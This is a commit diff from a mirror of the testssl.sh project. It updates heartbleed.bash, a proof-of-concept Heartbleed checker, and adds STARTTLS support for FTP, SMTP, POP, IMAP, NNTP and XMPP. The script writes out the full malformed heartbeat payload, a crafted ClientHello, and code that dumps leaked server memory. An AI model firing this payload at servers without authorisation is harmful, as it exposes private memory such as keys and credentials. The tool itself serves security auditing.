mirror of
				https://github.com/drwetter/testssl.sh.git
				synced 2025-10-31 13:55:25 +01:00 
			
		
		
		
	works also for nntp,ftp,imap,pop,xmpp +starttls now
This commit is contained in:
		| @@ -10,37 +10,37 @@ | ||||
|  | ||||
| readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' | ||||
|  | ||||
| NODE="" | ||||
| [ -z "$1" ] && exit 1 | ||||
|  | ||||
| NODE="$1" | ||||
| PORT="443" | ||||
| SLEEP=2 | ||||
| MAXSLEEP=10 | ||||
| SOCKREPLY="" | ||||
| COL_WIDTH=32 | ||||
|  | ||||
| [ -z "$1" ] && exit 1 | ||||
|  | ||||
| # TLS 1.0=x01  1.1=0x02, 1.2=0x3 | ||||
| # the PoC contains per default only check for TLS1.0 as the is the least common denominator | ||||
| TLSV=${2:-01} | ||||
|  | ||||
| heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00" | ||||
| ##                                                   ^^^^^^^ this is the thing! | ||||
| ##                                              ^^^^^^^ this is the whole thing! | ||||
|  | ||||
| client_hello=" | ||||
| # TLS header ( 5 bytes) | ||||
| # TLS header (5 bytes) | ||||
| ,x16,               # Content type (x16 for handshake) | ||||
| x03, x$TLSV,         # TLS Version | ||||
| x03, x$TLSV,        # TLS Version | ||||
| x00, xdc,           # Length | ||||
| # Handshake header | ||||
| x01,               # Type (x01 for ClientHello) | ||||
| x00, x00, xd8,     # Length | ||||
| x03, x$TLSV,         # TLS Version | ||||
| x01,                # Type (x01 for ClientHello) | ||||
| x00, x00, xd8,      # Length | ||||
| x03, x$TLSV,        # TLS Version | ||||
| # Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html | ||||
| x53, x43, x5b, x90, x9d, x9b, x72, x0b, | ||||
| xbc, x0c, xbc, x2b, x92, xa8, x48, x97, | ||||
| xcf, xbd, x39, x04, xcc, x16, x0a, x85, | ||||
| x03, x90, x9f, x77, x04, x33, xd4, xde, | ||||
| x00,               # Session ID length | ||||
| x00, x66,         # Cipher suites length | ||||
| x00,                # Session ID length | ||||
| x00, x66,           # Cipher suites length | ||||
| # Cipher suites (51 suites) | ||||
| xc0, x14, xc0, x0a, xc0, x22, xc0, x21, | ||||
| x00, x39, x00, x38, x00, x88, x00, x87, | ||||
| @@ -57,7 +57,7 @@ x00, x09, x00, x14, x00, x11, x00, x08, | ||||
| x00, x06, x00, x03, x00, xff, | ||||
| x01,               # Compression methods length | ||||
| x00,               # Compression method (x00 for NULL) | ||||
| x00, x49,         # Extensions length | ||||
| x00, x49,          # Extensions length | ||||
| # Extension: ec_point_formats | ||||
| x00, x0b, x00, x04, x03, x00, x01, x02, | ||||
| # Extension: elliptic_curves | ||||
| @@ -73,22 +73,20 @@ x00, x23, x00, x00, | ||||
| # Extension: Heartbeat | ||||
| x00, x0f, x00, x01, x01 | ||||
| " | ||||
| msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` | ||||
| #msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` | ||||
| msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n') | ||||
|  | ||||
|  | ||||
| parse_hn_port() { | ||||
| 	NODE="$1" | ||||
|      # strip "https", supposed it was supplied additionally | ||||
|      echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` | ||||
|  | ||||
| 	# strip "https", supposed it was supplied additionally | ||||
| 	echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` | ||||
|      # strip trailing urlpath | ||||
|      NODE=`echo $NODE | sed -e 's/\/.*$//'` | ||||
|  | ||||
| 	# strip trailing urlpath | ||||
| 	NODE=`echo $NODE | sed -e 's/\/.*$//'` | ||||
|  | ||||
| 	# determine port, supposed it was supplied additionally | ||||
| 	echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` | ||||
|  | ||||
| 	echo -e "\n===> connecting to $NODE:$PORT\n" | ||||
|      # determine port, supposed it was supplied additionally | ||||
|      echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` | ||||
|      echo -e "\n===> connecting to $NODE:$PORT\n" | ||||
| } | ||||
|  | ||||
| wait_kill(){ | ||||
| @@ -109,20 +107,15 @@ wait_kill(){ | ||||
|  | ||||
|  | ||||
| socksend() { | ||||
| 	data=`echo $1` | ||||
| 	echo "\"$data\"" | ||||
| 	echo -en "$data" >&5 & | ||||
| 	sleep $SLEEP | ||||
|      data=`echo $1` | ||||
|      echo "\"$data\"" | ||||
|      echo -en "$data" >&5 & | ||||
|      sleep $SLEEP | ||||
| } | ||||
|  | ||||
|  | ||||
| sockread() { | ||||
| 	reply=$(dd bs=$1 count=1 <&5 2>/dev/null) | ||||
|      wait_kill $! $SLEEP | ||||
| } | ||||
|  | ||||
| sockread1() { | ||||
| 	[[ "x$2" == "x" ]] && maxsleep=10 || maxsleep=$2 | ||||
|      [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2 | ||||
|      ret=0 | ||||
|  | ||||
|      ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7 | ||||
| @@ -136,34 +129,70 @@ sockread1() { | ||||
| } | ||||
|  | ||||
| # arg1: string to send | ||||
| # arg2: success string, yet to be parsed | ||||
| starttls_line0() { | ||||
| 	echo "$1" >&5 | ||||
| 	cat <&5 & | ||||
|      echo "$1" >&5 | ||||
|      cat <&5 & | ||||
|      wait_kill $! $SLEEP | ||||
| 	#sleep $SLEEP | ||||
|      #sleep $SLEEP | ||||
| } | ||||
|  | ||||
| starttls_line1() { | ||||
| 	echo "$1" >&5 | ||||
| 	while true; do | ||||
|      	read line <&5 | ||||
| 		echo $line | ||||
| 		break | ||||
| 	done | ||||
|      echo "$1" >&5 | ||||
|      while true; do | ||||
|           read line <&5 | ||||
|           echo $line | ||||
|           break | ||||
|      done | ||||
| } | ||||
|  | ||||
| fd_socket(){ | ||||
| 	if ! exec 5<> /dev/tcp/$NODE/$PORT; then | ||||
| 		echo "`basename $0`: unable to connect to $NODE:$PORT" | ||||
| 		exit 2 | ||||
| 	fi | ||||
| fixme(){ | ||||
|      tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0 | ||||
| } | ||||
|  | ||||
| 	case "$1" in # port | ||||
| 		25) 	starttls_line0 "EHLO testssl.sh"  | ||||
| 			starttls_line0 "STARTTLS"  | ||||
| 			;; | ||||
| 		443|*)  ;; | ||||
| 	esac | ||||
|  | ||||
| fd_socket(){ | ||||
|      if ! exec 5<> /dev/tcp/$NODE/$PORT; then | ||||
|           echo "`basename $0`: unable to connect to $NODE:$PORT" | ||||
|           exit 2 | ||||
|      fi | ||||
|  | ||||
|      case "$1" in # port | ||||
|           21)  # https://tools.ietf.org/html/rfc4217 | ||||
|                starttls_line0 "FEAT" | ||||
|                starttls_line0 "AUTH TLS" | ||||
|                ;; | ||||
|           25)  #https://tools.ietf.org/html/rfc4217 | ||||
|                starttls_line0 "EHLO testssl.sh" "250" | ||||
|                starttls_line0 "STARTTLS" "220" | ||||
|                ;; | ||||
|           110) # https://tools.ietf.org/html/rfc2595 | ||||
|                starttls_line0 "STLS" "OK" | ||||
|                ;; | ||||
|           119|433) # https://tools.ietf.org/html/rfc4642 | ||||
|                starttls_line0 "CAPABILITIES" "101" | ||||
|                starttls_line0 "STARTTLS" "382" | ||||
|                ;; | ||||
|           143) # https://tools.ietf.org/html/rfc2595  | ||||
|                starttls_line0 "a001 CAPABILITY" "OK" | ||||
|                starttls_line0 "a002 STARTTLS" "OK" | ||||
|                ;; | ||||
|           389) # https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511 | ||||
|                fixme "LDAP: FIXME not yet implemented" | ||||
|                exit 1 | ||||
|                ;; | ||||
|           674) # https://tools.ietf.org/html/rfc2595 | ||||
|                fixme "ACAP: FIXME not yet implemented" | ||||
|                exit 1 | ||||
|                ;; | ||||
|           5222)  | ||||
|                starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed" | ||||
|                fixme "XMPP: FIXME not yet implemented" | ||||
|                ;; | ||||
|           443|995|993|465|*)  # we don't need a special command here | ||||
|                ;; | ||||
|      esac | ||||
|      echo | ||||
| } | ||||
|  | ||||
| close_socket(){ | ||||
| @@ -182,12 +211,14 @@ echo "##### sending standard client hello with TLS version 03,$TLSV:" | ||||
| socksend "$msg" $TLSV | ||||
|  | ||||
| sockread 16384  | ||||
| #sockread 10000 | ||||
| echo "##### reading server hello:" | ||||
| #cat $SOCKREPLY | xxd | head -20 | ||||
| echo -e "$reply" | xxd | head -2 | ||||
| echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10 | ||||
| echo "[...]" | ||||
| echo | ||||
| if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then | ||||
|      tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0 | ||||
|      exit 1 | ||||
| fi | ||||
|  | ||||
| echo "###### sending payload with TLS version 03,$TLSV:" | ||||
| socksend $heartbleed_payload $TLSV | ||||
| @@ -195,17 +226,15 @@ socksend $heartbleed_payload $TLSV | ||||
| sockread 65534 | ||||
| echo "###### heartbleed reply: " | ||||
| echo "=============================" | ||||
| #cat $SOCKREPLY | xxd | head -20 | ||||
| echo -e "$reply" | xxd -c$COL_WIDTH | ||||
| echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20 | ||||
| echo "=============================" | ||||
|  | ||||
| lines_returned=`echo -e "$reply" | xxd | wc -l` | ||||
| if [ $lines_returned -gt 1 ]; then | ||||
| 	tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 | ||||
| 	ret=1 | ||||
| if [ $(echo "$SOCKREPLY" | xxd | wc -l) -gt 1 ]; then | ||||
|      tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 | ||||
|      ret=1 | ||||
| else | ||||
| 	tput bold; tput setaf 2; echo "ok"; tput sgr0 | ||||
| 	ret=0 | ||||
|      tput bold; tput setaf 2; echo "ok"; tput sgr0 | ||||
|      ret=0 | ||||
| fi | ||||
| echo | ||||
|  | ||||
| @@ -213,5 +242,5 @@ close_socket | ||||
|  | ||||
| exit $ret | ||||
|  | ||||
| #  vim:tw=100:ts=5:sw=5 | ||||
| #  $Id: heartbleed.bash,v 1.9 2015/07/01 08:12:36 dirkw Exp $  | ||||
| #  vim:tw=100:ts=5:sw=5:expandtab | ||||
| #  $Id: heartbleed.bash,v 1.11 2015/07/01 10:56:57 dirkw Exp $  | ||||
|   | ||||
		Reference in New Issue
	
	Block a user
	 Dirk
					Dirk